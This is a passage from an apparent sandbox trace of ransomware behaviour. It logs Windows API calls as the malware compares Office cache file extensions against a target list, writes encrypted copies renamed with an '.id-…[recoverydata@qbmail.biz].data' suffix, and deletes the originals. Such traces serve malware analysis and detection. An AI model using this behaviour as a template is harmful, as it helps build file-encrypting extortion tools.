dwMoveMethod=0x2bcfc7c | out: lpNewFilePointer=0x0) returned 1 [0096.887] WriteFile (in: hFile=0x218, lpBuffer=0x403a0d8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2bcfc88, lpOverlapped=0x0 | out: lpBuffer=0x403a0d8*, lpNumberOfBytesWritten=0x2bcfc88*=0x40000, lpOverlapped=0x0) returned 1 [0096.891] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0xcc155, lpNewFilePointer=0x0, dwMoveMethod=0x2bcfc7c | out: lpNewFilePointer=0x0) returned 1 [0096.891] WriteFile (in: hFile=0x218, lpBuffer=0x403a0d8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2bcfc88, lpOverlapped=0x0 | out: lpBuffer=0x403a0d8*, lpNumberOfBytesWritten=0x2bcfc88*=0x40000, lpOverlapped=0x0) returned 1 [0096.899] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x224400, lpNewFilePointer=0x0, dwMoveMethod=0x2bcfc7c | out: lpNewFilePointer=0x0) returned 1 [0096.899] WriteFile (in: hFile=0x218, lpBuffer=0x403a0d8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2bcfc88, lpOverlapped=0x0 | out: lpBuffer=0x403a0d8*, lpNumberOfBytesWritten=0x2bcfc88*=0x40000, lpOverlapped=0x0) returned 1 [0096.903] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x403a0d8 | out: hHeap=0x5b0000) returned 1 [0096.903] CloseHandle (hObject=0x218) returned 1 [0096.952] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x2020) returned 1 [0096.952] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0096.952] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0096.952] lstrlenW (lpString=".doc") returned 4 [0096.952] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0096.953] lstrlenW (lpString=".docx") returned 5 [0096.953] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0096.953] lstrlenW (lpString=".pdf") returned 4 [0096.953] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0096.953] lstrlenW (lpString=".xls") returned 4 [0096.953] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0096.953] lstrlenW (lpString=".xlsx") returned 5 [0096.953] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0096.953] lstrlenW (lpString=".ppt") returned 4 [0096.953] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0096.953] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0096.953] lstrlenW (lpString=".zip") returned 4 [0096.953] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0096.953] lstrlenW (lpString=".rar") returned 4 [0096.953] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0096.953] lstrlenW (lpString=".bz2") returned 4 [0096.953] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0096.953] lstrlenW (lpString=".7z") returned 3 [0096.953] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0096.953] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0096.953] lstrlenW (lpString=".dbf") returned 4 [0096.953] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0096.953] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0096.953] lstrlenW (lpString=".1cd") returned 4 [0096.953] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0096.954] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0096.954] lstrlenW (lpString=".jpg") returned 4 [0096.954] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0096.954] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0096.954] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0096.954] lstrlenW (lpString=".doc") returned 4 [0096.954] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0096.954] lstrlenW (lpString=".docx") returned 5 [0096.954] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0096.954] lstrlenW (lpString=".pdf") returned 4 [0096.954] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0096.954] lstrlenW (lpString=".xls") returned 4 [0096.954] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0096.954] lstrlenW (lpString=".xlsx") returned 5 [0096.954] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0096.954] lstrlenW (lpString=".ppt") returned 4 [0096.954] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0096.954] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0096.954] lstrlenW (lpString=".zip") returned 4 [0096.954] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0096.954] lstrlenW (lpString=".rar") returned 4 [0096.954] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0096.954] lstrlenW (lpString=".bz2") returned 4 [0096.954] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0096.954] lstrlenW (lpString=".7z") returned 3 [0096.954] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0096.954] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0096.954] lstrlenW (lpString=".dbf") returned 4 [0096.955] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0096.955] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0096.955] lstrlenW (lpString=".1cd") returned 4 [0096.955] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0096.955] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0096.955] lstrlenW (lpString=".jpg") returned 4 [0096.955] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0096.955] lstrcmpiW (lpString1=".dll", lpString2=".data") returned 1 [0096.955] lstrlenW (lpString="dwdcw20.dll") returned 11 [0096.955] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwdcw20.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0096.956] GetFileSizeEx (in: hFile=0x224, lpFileSize=0x2bcff1c | out: lpFileSize=0x2bcff1c*=526176) returned 1 [0096.956] CloseHandle (hObject=0x224) returned 1 [0096.956] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwdcw20.dll")) returned 0x2020 [0096.956] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwdcw20.dll.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0096.956] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwdcw20.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0096.956] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bcfec8 | out: lpNewFilePointer=0x0) returned 1 [0096.956] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bcfec8 | out: lpNewFilePointer=0x0) returned 1 [0096.956] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwdcw20.dll.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0097.517] GetLastError () returned 0x0 [0097.529] ReadFile (in: hFile=0x224, lpBuffer=0x3550020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3550020*, lpNumberOfBytesRead=0x2bcfed4*=0x80760, lpOverlapped=0x0) returned 1 [0097.631] WriteFile (in: hFile=0x1b4, lpBuffer=0x3550020*, nNumberOfBytesToWrite=0x80770, lpNumberOfBytesWritten=0x2bcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3550020*, lpNumberOfBytesWritten=0x2bcfc9c*=0x80770, lpOverlapped=0x0) returned 1 [0097.647] ReadFile (in: hFile=0x224, lpBuffer=0x3550020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3550020*, lpNumberOfBytesRead=0x2bcfed4*=0x0, lpOverlapped=0x0) returned 1 [0097.647] WriteFile (in: hFile=0x1b4, lpBuffer=0x3550020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2bcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3550020*, lpNumberOfBytesWritten=0x2bcfc9c*=0xea, lpOverlapped=0x0) returned 1 [0097.647] SetEndOfFile (hFile=0x1b4) returned 1 [0098.398] CloseHandle (hObject=0x1b4) returned 1 [0098.398] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bcfec8 | out: lpNewFilePointer=0x0) returned 1 [0098.398] SetEndOfFile (hFile=0x224) returned 1 [0098.405] CloseHandle (hObject=0x224) returned 1 [0098.405] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x2020) returned 1 [0098.405] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwdcw20.dll")) returned 1 [0098.405] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0098.405] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0098.405] lstrlenW (lpString=".doc") returned 4 [0098.405] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0098.405] lstrlenW (lpString=".docx") returned 5 [0098.405] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0098.406] lstrlenW (lpString=".pdf") returned 4 [0098.406] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0098.406] lstrlenW (lpString=".xls") returned 4 [0098.406] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0098.406] lstrlenW (lpString=".xlsx") returned 5 [0098.406] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0098.406] lstrlenW (lpString=".ppt") returned 4 [0098.406] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0098.406] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0098.406] lstrlenW (lpString=".zip") returned 4 [0098.406] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0098.406] lstrlenW (lpString=".rar") returned 4 [0098.406] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0098.406] lstrlenW (lpString=".bz2") returned 4 [0098.406] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0098.406] lstrlenW (lpString=".7z") returned 3 [0098.406] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0098.406] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0098.406] lstrlenW (lpString=".dbf") returned 4 [0098.406] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0098.406] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0098.407] lstrlenW (lpString=".1cd") returned 4 [0098.407] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0098.407] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0098.407] lstrlenW (lpString=".jpg") returned 4 [0098.407] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0098.407] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0098.407] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0098.407] lstrlenW (lpString=".doc") returned 4 [0098.407] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0098.407] lstrlenW (lpString=".docx") returned 5 [0098.407] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0098.407] lstrlenW (lpString=".pdf") returned 4 [0098.407] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0098.407] lstrlenW (lpString=".xls") returned 4 [0098.407] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0098.407] lstrlenW (lpString=".xlsx") returned 5 [0098.408] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0098.408] lstrlenW (lpString=".ppt") returned 4 [0098.408] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0098.408] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0098.408] lstrlenW (lpString=".zip") returned 4 [0098.408] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0098.408] lstrlenW (lpString=".rar") returned 4 [0098.408] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0098.408] lstrlenW (lpString=".bz2") returned 4 [0098.408] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0098.408] lstrlenW (lpString=".7z") returned 3 [0098.408] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0098.408] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0098.408] lstrlenW (lpString=".dbf") returned 4 [0098.408] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0098.408] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0098.408] lstrlenW (lpString=".1cd") returned 4 [0098.408] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0098.408] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0098.409] lstrlenW (lpString=".jpg") returned 4 [0098.409] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0098.409] lstrcmpiW (lpString1=".MST", lpString2=".data") returned 1 [0098.409] lstrlenW (lpString="ShellUI.MST") returned 11 [0098.409] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0098.410] GetFileSizeEx (in: hFile=0x224, lpFileSize=0x2bcff1c | out: lpFileSize=0x2bcff1c*=3584) returned 1 [0098.410] CloseHandle (hObject=0x224) returned 1 [0098.410] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst")) returned 0x2020 [0098.410] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0098.410] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0098.410] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bcfec8 | out: lpNewFilePointer=0x0) returned 1 [0098.410] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bcfec8 | out: lpNewFilePointer=0x0) returned 1 [0098.411] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0098.411] GetLastError () returned 0x0 [0098.411] ReadFile (in: hFile=0x224, lpBuffer=0x3550020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3550020*, lpNumberOfBytesRead=0x2bcfed4*=0xe00, lpOverlapped=0x0) returned 1 [0098.418] WriteFile (in: hFile=0x1b4, lpBuffer=0x3550020*, nNumberOfBytesToWrite=0xe10, lpNumberOfBytesWritten=0x2bcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3550020*, lpNumberOfBytesWritten=0x2bcfc9c*=0xe10, lpOverlapped=0x0) returned 1 [0098.419] ReadFile (in: hFile=0x224, lpBuffer=0x3550020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3550020*, lpNumberOfBytesRead=0x2bcfed4*=0x0, lpOverlapped=0x0) returned 1 [0098.420] WriteFile (in: hFile=0x1b4, lpBuffer=0x3550020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2bcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3550020*, lpNumberOfBytesWritten=0x2bcfc9c*=0xea, lpOverlapped=0x0) returned 1 [0098.420] SetEndOfFile (hFile=0x1b4) returned 1 [0098.420] CloseHandle (hObject=0x1b4) returned 1 [0098.420] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bcfec8 | out: lpNewFilePointer=0x0) returned 1 [0098.420] SetEndOfFile (hFile=0x224) returned 1 [0098.421] CloseHandle (hObject=0x224) returned 1 [0098.421] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x2020) returned 1 [0098.422] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst")) returned 1 [0098.422] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0098.422] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0098.422] lstrlenW (lpString=".doc") returned 4 [0098.422] lstrcmpiW (lpString1=".doc", lpString2=".MST") returned -1 [0098.422] lstrlenW (lpString=".docx") returned 5 [0098.422] lstrcmpiW (lpString1=".docx", lpString2="I.MST") returned -1 [0098.422] lstrlenW (lpString=".pdf") returned 4 [0098.422] lstrcmpiW (lpString1=".pdf", lpString2=".MST") returned 1 [0098.422] lstrlenW (lpString=".xls") returned 4 [0098.422] lstrcmpiW (lpString1=".xls", lpString2=".MST") returned 1 [0098.422] lstrlenW (lpString=".xlsx") returned 5 [0098.423] lstrcmpiW (lpString1=".xlsx", lpString2="I.MST") returned -1 [0098.423] lstrlenW (lpString=".ppt") returned 4 [0098.423] lstrcmpiW (lpString1=".ppt", lpString2=".MST") returned 1 [0098.423] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0098.423] lstrlenW (lpString=".zip") returned 4 [0098.423] lstrcmpiW (lpString1=".zip", lpString2=".MST") returned 1 [0098.423] lstrlenW (lpString=".rar") returned 4 [0098.423] lstrcmpiW (lpString1=".rar", lpString2=".MST") returned 1 [0098.423] lstrlenW (lpString=".bz2") returned 4 [0098.423] lstrcmpiW (lpString1=".bz2", lpString2=".MST") returned -1 [0098.423] lstrlenW (lpString=".7z") returned 3 [0098.423] lstrcmpiW (lpString1=".7z", lpString2="MST") returned -1 [0098.423] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0098.423] lstrlenW (lpString=".dbf") returned 4 [0098.423] lstrcmpiW (lpString1=".dbf", lpString2=".MST") returned -1 [0098.423] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0098.423] lstrlenW (lpString=".1cd") returned 4 [0098.423] lstrcmpiW (lpString1=".1cd", lpString2=".MST") returned -1 [0098.423] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0098.423] lstrlenW (lpString=".jpg") returned 4 [0098.424] lstrcmpiW (lpString1=".jpg", lpString2=".MST") returned -1 [0098.424] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0098.424] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0098.424] lstrlenW (lpString=".doc") returned 4 [0098.424] lstrcmpiW (lpString1=".doc", lpString2=".MST") returned -1 [0098.424] lstrlenW (lpString=".docx") returned 5 [0098.424] lstrcmpiW (lpString1=".docx", lpString2="I.MST") returned -1 [0098.424] lstrlenW (lpString=".pdf") returned 4 [0098.424] lstrcmpiW (lpString1=".pdf", lpString2=".MST") returned 1 [0098.424] lstrlenW (lpString=".xls") returned 4 [0098.424] lstrcmpiW (lpString1=".xls", lpString2=".MST") returned 1 [0098.424] lstrlenW (lpString=".xlsx") returned 5 [0098.424] lstrcmpiW (lpString1=".xlsx", lpString2="I.MST") returned -1 [0098.424] lstrlenW (lpString=".ppt") returned 4 [0098.424] lstrcmpiW (lpString1=".ppt", lpString2=".MST") returned 1 [0098.424] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0098.424] lstrlenW (lpString=".zip") returned 4 [0098.424] lstrcmpiW (lpString1=".zip", lpString2=".MST") returned 1 [0098.425] lstrlenW (lpString=".rar") returned 4 [0098.425] lstrcmpiW (lpString1=".rar", lpString2=".MST") returned 1 [0098.425] lstrlenW (lpString=".bz2") returned 4 [0098.425] lstrcmpiW (lpString1=".bz2", lpString2=".MST") returned -1 [0098.425] lstrlenW (lpString=".7z") returned 3 [0098.425] lstrcmpiW (lpString1=".7z", lpString2="MST") returned -1 [0098.425] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0098.425] lstrlenW (lpString=".dbf") returned 4 [0098.425] lstrcmpiW (lpString1=".dbf", lpString2=".MST") returned -1 [0098.425] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0098.425] lstrlenW (lpString=".1cd") returned 4 [0098.425] lstrcmpiW (lpString1=".1cd", lpString2=".MST") returned -1 [0098.425] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0098.425] lstrlenW (lpString=".jpg") returned 4 [0098.425] lstrcmpiW (lpString1=".jpg", lpString2=".MST") returned -1 [0098.426] lstrcmpiW (lpString1=".msi", lpString2=".data") returned 1 [0098.426] lstrlenW (lpString="AccessMUI.msi") returned 13 [0098.426] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0098.428] GetFileSizeEx (in: hFile=0x224, lpFileSize=0x2bcff1c | out: lpFileSize=0x2bcff1c*=2517504) returned 1 [0098.428] CloseHandle (hObject=0x224) returned 1 [0098.428] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi")) returned 0x2020 [0098.428] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0098.429] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 1 [0098.429] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, 